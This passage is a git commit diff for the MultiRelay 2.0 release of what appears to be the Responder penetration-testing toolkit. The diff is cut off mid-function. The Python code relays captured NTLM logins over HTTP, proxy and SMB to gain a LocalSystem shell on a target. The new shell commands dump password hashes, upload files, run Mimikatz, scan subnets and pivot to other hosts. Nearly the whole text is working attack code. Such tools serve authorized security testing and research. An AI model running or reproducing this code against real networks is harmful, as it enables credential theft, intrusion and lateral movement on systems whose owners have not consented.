MultiRelay 2.0 Release

This commit is contained in:
lgandx 2017-03-29 13:28:31 -03:00
parent b05bdcab96
commit 2a80c7ed9c
11 changed files with 1407 additions and 205 deletions

View file

@ -20,7 +20,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 2.3.3.5' __version__ = 'Responder 2.3.3.6'
class Settings: class Settings:

View file

@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
Interface = options.Interface Interface = options.Interface
Responder_IP = FindLocalIP(Interface) Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP ROUTERIP = options.RouterIP
NETMASK = options.Netmask NETMASK = options.Netmask
DHCPSERVER = Responder_IP DHCPSERVER = Responder_IP

View file

@ -20,6 +20,8 @@ import os
import logging import logging
import optparse import optparse
import time import time
import random
import subprocess
from threading import Thread from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try: try:
@ -28,26 +30,38 @@ except ImportError:
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
print "You can install it on debian based os with this command: apt-get install python-crypto" print "You can install it on debian based os with this command: apt-get install python-crypto"
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
try:
import readline
except:
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
pass
from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiPackets import *
from MultiRelay.RelayMultiCore import * from MultiRelay.RelayMultiCore import *
from SMBFinger.Finger import RunFinger from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import * from socket import *
__version__ = "1.2" __version__ = "2.0"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def UserCallBack(op, value, dmy, parser): def UserCallBack(op, value, dmy, parser):
args=[] args=[]
for arg in parser.rargs: for arg in parser.rargs:
if arg[0] != "-": if arg[0] != "-":
args.append(arg) args.append(arg)
if arg[0] == "-":
break
if getattr(parser.values, op.dest): if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest)) args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args) setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
@ -67,31 +81,37 @@ if options.UserToRelay is None:
if options.ExtraPort is None: if options.ExtraPort is None:
options.ExtraPort = 0 options.ExtraPort = 0
OneCommand = options.OneCommand if not os.geteuid() == 0:
Dump = options.Dump print color("[!] MultiRelay must be run as root.")
ExtraPort = options.ExtraPort sys.exit(-1)
UserToRelay = options.UserToRelay
Host = options.TARGET, 445 OneCommand = options.OneCommand
Cmd = [] Dump = options.Dump
ShellOpen = [] ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = [options.TARGET]
Cmd = []
ShellOpen = []
Pivoting = [2]
def color(txt, code = 1, modifier = 0): def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome(): def ShowWelcome():
print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1) print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
print color('Version: '+__version__,8,1)
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.' print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C.\n' print 'To kill this script hit CRTL-C.\n'
print color('/*',8,1)
print 'Use this script in combination with Responder.py for best results.' print 'Use this script in combination with Responder.py for best results.'
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
print 'This tool listen on TCP port 80, 3128 and 445.' print 'This tool listen on TCP port 80, 3128 and 445.'
print 'Make sure nothing use these ports.\n' print 'For optimal pwnage, launch Responder only with these 2 options:'
print 'For optimal pwnage, launch Responder with only these 2 options:' print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
print '-rv\nRunning psexec style commands can be noisy in the event viewer,' print 'If you do so, use taskkill (as system) to kill the process.'
print 'if anyone ever reads it.. If you want to leave no trace in the' print color('*/',8,1)
print 'event viewer, use Responder\'s built-in commands. They silently'
print 'perform the tasks requested, including the hashdump command.'
print color('\nRelaying credentials for these users:',8,1) print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1) print color(UserToRelay,4,1)
print '\n' print '\n'
@ -105,6 +125,13 @@ def ShowHelp():
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)'
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
print color('help',8,1)+' -> Print this message.' print color('help',8,1)+' -> Print this message.'
print color('exit',8,1)+' -> Exit this shell and return in relay mode.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
print ' If you want to quit type exit and then use CRTL-C\n' print ' If you want to quit type exit and then use CRTL-C\n'
@ -112,7 +139,14 @@ def ShowHelp():
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
Logs = logging Logs = logging
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def UploadContent(File):
with file(File) as f:
s = f.read()
FileLen = len(s)
FileContent = s
return FileLen, FileContent
try: try:
RunFinger(Host[0]) RunFinger(Host[0])
@ -137,21 +171,26 @@ def IsShellOpen():
else: else:
return True return True
#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
def IsPivotOn():
#While there's nothing in our array return false.
if Pivoting[0] == "2":
return False
#If there is return True.
if Pivoting[0] == "1":
return True
def ConnectToTarget(): def ConnectToTarget():
try: try:
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
#Override TCP keep-alives s.connect((Host[0],445))
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
# macOS does not have TCP_KEEPIDLE
if sys.platform != 'darwin':
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
s.connect(Host)
return s return s
except: except:
"Cannot connect to target, host down?" try:
sys.exit(1) sys.exit(1)
print "Cannot connect to target, host down?"
except:
pass
class HTTPProxyRelay(BaseRequestHandler): class HTTPProxyRelay(BaseRequestHandler):
@ -161,6 +200,8 @@ class HTTPProxyRelay(BaseRequestHandler):
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
return None return None
if IsPivotOn():
return None
except: except:
raise raise
@ -202,7 +243,7 @@ class HTTPProxyRelay(BaseRequestHandler):
## Send HTTP Proxy ## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092) data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@ -219,21 +260,22 @@ class HTTPProxyRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None self.request.close()
return None
else: else:
##Any other type of request, send a 407. ##Any other type of request, send a 407.
@ -254,6 +296,8 @@ class HTTPRelay(BaseRequestHandler):
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
return None return None
if IsPivotOn():
return None
except: except:
raise raise
@ -296,7 +340,7 @@ class HTTPRelay(BaseRequestHandler):
## Send HTTP Response. ## Send HTTP Response.
Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092) data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@ -313,7 +357,7 @@ class HTTPRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@ -326,8 +370,9 @@ class HTTPRelay(BaseRequestHandler):
smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None self.request.close()
return None
else: else:
##Any other type of request, send a 407. ##Any other type of request, send a 407.
@ -352,7 +397,6 @@ class SMBRelay(BaseRequestHandler):
raise raise
s = ConnectToTarget() s = ConnectToTarget()
try: try:
data = self.request.recv(4096) data = self.request.recv(4096)
@ -368,7 +412,7 @@ class SMBRelay(BaseRequestHandler):
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1: if data.find("NTLM") is not -1:
## Start with nego protocol + session setup negotiate to our target. ## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s) data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1: if data.find("NTLM") is not -1:
@ -394,21 +438,23 @@ class SMBRelay(BaseRequestHandler):
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(buffer1)
#data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
s.close() s.close()
return None return None
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host) Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
##Got the ntlm message 3, send it over to SMB. ##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = data[36:]#Final relay. t = data[36:]#Final relay.
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." if Pivoting[0] == "1":
pass
else:
print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(4096) smbdata = s.recv(4096)
#We're all set, dropping into shell. #We're all set, dropping into shell.
@ -428,32 +474,44 @@ class SMBRelay(BaseRequestHandler):
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(buffer1)
data = self.request.recv(4096) data = self.request.recv(4096)
s.close() self.request.close()
return None return None
except Exception: except Exception:
s.close()
self.request.close() self.request.close()
##No need to print anything (timeouts, rst, etc) to the user console.. ##No need to print anything (timeouts, rst, etc) to the user console..
pass pass
#Interface starts here. #Interface starts here.
def RunShellCmd(data, s, clientIP, Host, Username, Domain): def RunShellCmd(data, s, clientIP, Target, Username, Domain):
#Let's declare our globals here..
#Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
global Pivoting
#Update Host, when pivoting is used.
global Host
#Make sure we don't open 2 shell at the same time..
global ShellOpen
ShellOpen = ["Shell is open"]
# On this block we do some verifications before dropping the user into the shell. # On this block we do some verifications before dropping the user into the shell.
if data[8:10] == "\x73\x6d": if data[8:10] == "\x73\x6d":
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x8d": if data[8:10] == "\x73\x8d":
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x5e": if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
del ShellOpen[:]
return False return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
@ -461,7 +519,7 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
@ -470,20 +528,28 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
## Nope he doesn't. ## Nope he doesn't.
if data[8:10] == "\x75\x22": if data[8:10] == "\x75\x22":
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" if Pivoting[0] == "1":
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") pass
else:
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. # This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc": if data[8:10] == "\x75\xcc":
print "[+] Tree Connect AndX denied. Bad Network Name returned." print "[+] Tree Connect AndX denied. Bad Network Name returned."
del ShellOpen[:]
return False return False
## Tree Connect on C$ is successfull. ## Tree Connect on C$ is successfull.
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00":
print "[+] Looks good, "+Username+" has admin rights on C$." if Pivoting[0] == "1":
pass
else:
print "[+] Looks good, "+Username+" has admin rights on C$."
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
@ -495,19 +561,20 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
print "[+] Authenticated." print "[+] Authenticated."
if OneCommand != None: if OneCommand != None:
print "[+] Running command: %s"%(OneCommand) print "[+] Running command: %s"%(OneCommand)
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host) RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
if Dump: if Dump:
print "[+] Dumping hashes" print "[+] Dumping hashes"
DumpHashes(data, s, Host) DumpHashes(data, s, Target[0])
os._exit(1) os._exit(1)
## Drop into the shell. ## Drop into the shell.
if data[8:10] == "\x75\x00" and OneCommand == None: if data[8:10] == "\x75\x00" and OneCommand == None:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" if Pivoting[0] == "1":
ShowHelp() pass
#Make sure we don't open 2 shell at the same time.. else:
global ShellOpen print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShellOpen = ["Shell is open"] ShowHelp()
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
while True: while True:
@ -515,50 +582,153 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00":
#start a thread for raw_input, so we can do other stuff while we wait for a command. #start a thread for raw_input, so we can do other stuff while we wait for a command.
t = Thread(target=get_command, args=()) t = Thread(target=get_command, args=())
t.daemon = True
t.start() t.start()
t.join()
#For now, this is not functionning as expected. The SMB echos are killing the connection #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
#way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself. #to maintain MultiRelay alive and well.
#So let's use the tree connects wait (average time before timeout:5-12h) count = 0
""" DoEvery = random.randint(10, 45)
while any(x in Cmd for x in Cmd) is False: while any(x in Cmd for x in Cmd) is False:
count = count+1
SMBKeepAlive(s, data) SMBKeepAlive(s, data)
time.sleep(20) if count == DoEvery:
pass DumbSMBChain(data, s, Target[0])
""" count = 0
if any(x in Cmd for x in Cmd) is True:
break
##Grab the commands. Cmd is global in get_command(). ##Grab the commands. Cmd is global in get_command().
Read = re.findall(r'(?<=read )[^\r]*', Cmd[0]) DumpReg = re.findall('^dump', Cmd[0])
RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0]) Read = re.findall('^read (.*)$', Cmd[0])
Get = re.findall(r'(?<=get )[^\r]*', Cmd[0]) RegDump = re.findall('^regdump (.*)$', Cmd[0])
Help = re.findall(r'(?<=help)[^\r]*', Cmd[0]) Get = re.findall('^get (.*)$', Cmd[0])
Upload = re.findall('^upload (.*)$', Cmd[0])
Delete = re.findall('^delete (.*)$', Cmd[0])
RunAs = re.findall('^runas (.*)$', Cmd[0])
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
Mimi = re.findall('^mimi (.*)$', Cmd[0])
Scan = re.findall('^scan (.*)$', Cmd[0])
Pivot = re.findall('^pivot (.*)$', Cmd[0])
Help = re.findall('^help', Cmd[0])
if Cmd[0] == "exit": if Cmd[0] == "exit":
print "[+]Returning in relay mode." print "[+] Returning in relay mode."
del Cmd[:] del Cmd[:]
del ShellOpen[:] del ShellOpen[:]
return None return None
##For all of the following commands we send the data (var:data) returned by the ##For all of the following commands we send the data (var: data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##We also clean up the command array when done. ##We also clean up the command array when done.
if Cmd[0] == "dump": if DumpReg:
data = DumpHashes(data, s, Host) data = DumpHashes(data, s, Target[0])
del Cmd[:] del Cmd[:]
if Read: if Read:
File = Read[0] File = Read[0]
data = ReadFile(data, s, File, Host) data = ReadFile(data, s, File, Target[0])
del Cmd[:] del Cmd[:]
if Get: if Get:
File = Get[0] File = Get[0]
data = GetAfFile(data, s, File, Host) data = GetAfFile(data, s, File, Target[0])
del Cmd[:]
if Upload:
File = Upload[0]
if os.path.isfile(File):
FileSize, FileContent = UploadContent(File)
File = os.path.basename(File)
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
del Cmd[:]
else:
print File+" does not exist, please specify a valid file."
del Cmd[:]
if Delete:
Filename = Delete[0]
data = DeleteFile(data, s, Filename, Target[0])
del Cmd[:] del Cmd[:]
if RegDump: if RegDump:
Key = RegDump[0] Key = RegDump[0]
data = SaveAKey(data, s, Host, Key) data = SaveAKey(data, s, Target[0], Key)
del Cmd[:]
if RunAs:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = RunAs[0]
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
del Cmd[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if LCmd:
subprocess.call(LCmd[0], shell=True)
del Cmd[:]
if Mimi:
if os.path.isfile(MimikatzFilename):
FileSize, FileContent = UploadContent(MimikatzFilename)
FileName = os.path.basename(MimikatzFilename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print MimikatzFilename+" does not exist, please specify a valid file."
del Cmd[:]
if Pivot:
if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
del Pivot[:]
del Cmd[:]
else:
if ShowSigning(Pivot[0]):
del Pivot[:]
del Cmd[:]
else:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
RunAsPath = '%windir%\\Temp\\'+FileName
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
if Status == True:
print "[+] Pivoting to %s."%(Pivot[0])
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
#shell will close.
del ShellOpen[:]
#update the new host.
Host = [Pivot[0]]
#we're in pivoting mode.
Pivoting = ["1"]
data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
del Cmd[:]
s.close()
return None
if Status == False:
print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
del Cmd[:]
del Pivot[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if Scan:
LocalIp = FindLocalIp()
Range = ConvertToClassC(Target[0], Scan[0])
RunPivotScan(Range, Target[0])
del Cmd[:] del Cmd[:]
if Help: if Help:
@ -568,15 +738,23 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
##Let go with the command. ##Let go with the command.
if any(x in Cmd for x in Cmd): if any(x in Cmd for x in Cmd):
if len(Cmd[0]) > 1: if len(Cmd[0]) > 1:
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host) if os.path.isfile(SysSVCFileName):
del Cmd[:] FileSize, FileContent = UploadContent(SysSVCFileName)
FileName = os.path.basename(SysSVCFileName)
RunPath = '%windir%\\Temp\\'+FileName
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
